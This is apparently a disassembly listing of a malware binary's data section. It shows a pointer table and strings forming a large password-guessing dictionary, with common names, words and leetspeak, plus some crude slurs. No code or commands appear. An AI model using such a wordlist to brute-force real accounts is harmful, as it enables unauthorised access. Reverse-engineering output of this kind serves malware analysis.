		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset byte_43C63C
		align 8
dword_430B28	dd 10h							; sub_40F6F1+B66r ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: ___:00430B1Co
		align 4
aZap		db 'zap',0              ; DATA XREF: ___:00430B18o
aYellowstone	db 'yellowstone',0      ; DATA XREF: ___:00430B14o
aXyz		db 'xyz',0              ; DATA XREF: ___:00430B10o
aWisconsin	db 'wisconsin',0        ; DATA XREF: ___:00430B0Co
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: ___:00430B08o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: ___:00430B04o
		align 4
aTty		db 'tty',0              ; DATA XREF: ___:00430B00o
aTopography	db 'topography',0       ; DATA XREF: ___:00430AFCo
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: ___:00430AF8o
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: ___:00430AF4o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: ___:00430AF0o
		align 4
aSys		db 'sys',0              ; DATA XREF: ___:00430AECo
aSupported	db 'supported',0        ; DATA XREF: ___:00430AE8o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: ___:00430AE4o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: ___:00430AE0o
		align 10h
aSun		db 'sun',0              ; DATA XREF: ___:00430ADCo
aStuttgart	db 'stuttgart',0        ; DATA XREF: ___:00430AD8o
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: ___:00430AD4o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: ___:00430AD0o
		align 4
aSignature	db 'signature',0        ; DATA XREF: ___:00430ACCo
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: ___:00430AC8o
		align 10h
aSal		db 'sal',0              ; DATA XREF: ___:00430AC4o
aRochester	db 'rochester',0        ; DATA XREF: ___:00430AC0o
		align 10h
aRje		db 'rje',0              ; DATA XREF: ___:00430ABCo
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: ___:00430AB8o
		align 4
aPub		db 'pub',0              ; DATA XREF: ___:00430AB4o
aProfessor	db 'professor',0        ; DATA XREF: ___:00430AB0o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: ___:00430AACo
		align 10h
aPondering	db 'pondering',0        ; DATA XREF: ___:00430AA8o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: ___:00430AA4o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: ___:00430AA0o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: ___:00430A9Co
		align 10h
aPam		db 'pam',0              ; DATA XREF: ___:00430A98o
aPad		db 'pad',0              ; DATA XREF: ___:00430A94o
aOceanography	db 'oceanography',0     ; DATA XREF: ___:00430A90o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: ___:00430A8Co
		align 4
aNew		db 'new',0              ; DATA XREF: ___:00430A88o
aNet		db 'net',0              ; DATA XREF: ___:00430A84o
aMit		db 'mit',0              ; DATA XREF: ___:00430A80o
aMgr		db 'mgr',0              ; DATA XREF: ___:00430A7Co
aMacintosh	db 'macintosh',0        ; DATA XREF: ___:00430A78o
		align 10h
aLiz		db 'liz',0              ; DATA XREF: ___:00430A74o
aLee		db 'lee',0              ; DATA XREF: ___:00430A70o
aLamination	db 'lamination',0       ; DATA XREF: ___:00430A6Co
		align 4
aKim		db 'kim',0              ; DATA XREF: ___:00430A68o
aJoy		db 'joy',0              ; DATA XREF: ___:00430A60o
aJen		db 'jen',0              ; DATA XREF: ___:00430A5Co
aInnocuous	db 'innocuous',0        ; DATA XREF: ___:00430A58o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: ___:00430A54o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00430A50o
aHappening	db 'happening',0        ; DATA XREF: ___:00430A4Co
		align 4
aHal		db 'hal',0              ; DATA XREF: ___:00430A48o
aGnu		db 'gnu',0              ; DATA XREF: ___:00430A44o
aFun		db 'fun',0              ; DATA XREF: ___:00430A40o
aForesight	db 'foresight',0        ; DATA XREF: ___:00430A3Co
		align 10h
aFoolproof	db 'foolproof',0        ; DATA XREF: ___:00430A38o
		align 4
aExtension	db 'extension',0        ; DATA XREF: ___:00430A34o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: ___:00430A30o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: ___:00430A2Co
		align 10h
aElizabeth	db 'elizabeth',0        ; DATA XREF: ___:00430A28o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: ___:00430A24o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: ___:00430A20o
		align 4
aDos		db 'dos',0              ; DATA XREF: ___:00430A1Co
aDog		db 'dog',0              ; DATA XREF: ___:00430A18o
aDiscovery	db 'discovery',0        ; DATA XREF: ___:00430A14o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: ___:00430A10o
		align 4
aDeb		db 'deb',0              ; DATA XREF: ___:00430A0Co
aCornelius	db 'cornelius',0        ; DATA XREF: ___:00430A08o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: ___:00430A04o
		align 10h
aChristine	db 'christine',0        ; DATA XREF: ___:00430A00o
		align 4
aChristina	db 'christina',0        ; DATA XREF: ___:004309FCo
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: ___:004309F8o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: ___:004309F4o
		align 10h
aCat		db 'cat',0              ; DATA XREF: ___:004309F0o
aCampanile	db 'campanile',0        ; DATA XREF: ___:004309ECo
		align 10h
aCad		db 'cad',0              ; DATA XREF: ___:004309E8o
aBsd		db 'bsd',0              ; DATA XREF: ___:004309E4o
aBob		db 'bob',0              ; DATA XREF: ___:004309E0o
aBicameral	db 'bicameral',0        ; DATA XREF: ___:004309DCo
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: ___:004309D8o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: ___:004309D4o
		align 10h
aAsm		db 'asm',0              ; DATA XREF: ___:004309D0o
aAsd		db 'asd',0              ; DATA XREF: ___:004309CCo
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: ___:004309C8o
		align 4
aAnn		db 'ann',0              ; DATA XREF: ___:004309C4o
aAndromache	db 'andromache',0       ; DATA XREF: ___:004309C0o
		align 4
aAmy		db 'amy',0              ; DATA XREF: ___:004309BCo
aAmorphous	db 'amorphous',0        ; DATA XREF: ___:004309B8o
		align 4
aAma		db 'ama',0              ; DATA XREF: ___:004309B4o
aAlf		db 'alf',0              ; DATA XREF: ___:004309B0o
aAlbatross	db 'albatross',0        ; DATA XREF: ___:004309ACo
		align 4
aAda		db 'ada',0              ; DATA XREF: ___:004309A8o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: ___:004309A4o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: ___:004309A0o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: ___:0043099Co
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: ___:00430998o
		align 4
aHax		db 'hax',0              ; DATA XREF: ___:00430994o
aWh0re		db 'wh0re',0            ; DATA XREF: ___:00430990o
		align 4
aHo		db 'ho',0               ; DATA XREF: ___:0043098Co
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: ___:00430988o
		align 10h
aWindoze95	db 'windoze95',0        ; DATA XREF: ___:00430984o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: ___:00430980o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: ___:0043097Co
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: ___:00430978o
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: ___:00430974o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: ___:00430970o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: ___:0043096Co
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: ___:00430968o
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: ___:00430964o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: ___:00430960o
		align 4
aMs		db 'MS',0               ; DATA XREF: ___:0043095Co
		align 4
aM		db 'M$',0               ; DATA XREF: ___:00430958o
		align 10h
aBilly		db 'billy',0            ; DATA XREF: ___:00430954o
		align 4
aWindose	db 'windose',0          ; DATA XREF: ___:00430950o
aWindoze	db 'windoze',0          ; DATA XREF: ___:0043094Co
aWindowz	db 'windowz',0          ; DATA XREF: ___:00430948o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: ___:00430944o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: ___:00430940o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: ___:0043093Co
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: ___:00430938o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: ___:00430934o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: ___:00430930o
aD00d		db 'd00d',0             ; DATA XREF: ___:0043092Co
		align 4
aLol		db 'lol',0              ; DATA XREF: ___:00430928o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: ___:00430924o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: ___:00430920o
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: ___:0043091Co
		align 4
aRoss		db 'Ross',0             ; DATA XREF: ___:00430918o
		align 10h
aTestin		db 'testin',0           ; DATA XREF: ___:00430914o
		align 4
aTester		db 'tester',0           ; DATA XREF: ___:00430910o
		align 10h
a00000000	db '00000000',0         ; DATA XREF: ___:0043090Co
		align 4
aZulu		db 'zulu',0             ; DATA XREF: ___:00430908o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: ___:00430904o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: ___:00430900o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: ___:004308FCo
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: ___:004308F8o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: ___:004308F4o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: ___:004308F0o
		align 4
aYoung		db 'young',0            ; DATA XREF: ___:004308ECo
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: ___:004308E8o
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: ___:004308E4o
aYellowst	db 'yellowst',0         ; DATA XREF: ___:004308E0o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: ___:004308DCo
		align 4
aYankee		db 'yankee',0           ; DATA XREF: ___:004308D8o
		align 4
aYang		db 'yang',0             ; DATA XREF: ___:004308D4o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: ___:004308D0o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: ___:004308CCo
		align 4
aXray		db 'xray',0             ; DATA XREF: ___:004308C8o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: ___:004308C4o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: ___:004308C0o
		align 4
aXman		db 'xman',0             ; DATA XREF: ___:004308BCo
		align 4
aXfer		db 'xfer',0             ; DATA XREF: ___:004308B8o
		align 4
aXena		db 'xena',0             ; DATA XREF: ___:004308B4o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: ___:004308B0o
aWwii		db 'wwii',0             ; DATA XREF: ___:004308ACo
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: ___:004308A8o
		align 4
aWorm		db 'worm',0             ; DATA XREF: ___:004308A4o
		align 10h
aWork		db 'work',0             ; DATA XREF: ___:004308A0o
		align 4
aWorf		db 'worf',0             ; DATA XREF: ___:0043089Co
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: ___:00430898o
		align 4
aWord		db 'word',0             ; DATA XREF: ___:00430894o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: ___:00430890o
		align 10h
aWood		db 'wood',0             ; DATA XREF: ___:0043088Co
		align 4
aWomen		db 'women',0            ; DATA XREF: ___:00430888o
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: ___:00430884o
		align 4
aWoman		db 'woman',0            ; DATA XREF: ___:00430880o
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: ___:0043087Co
		align 4
aWolf		db 'wolf',0             ; DATA XREF: ___:00430878o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: ___:00430874o
		align 4
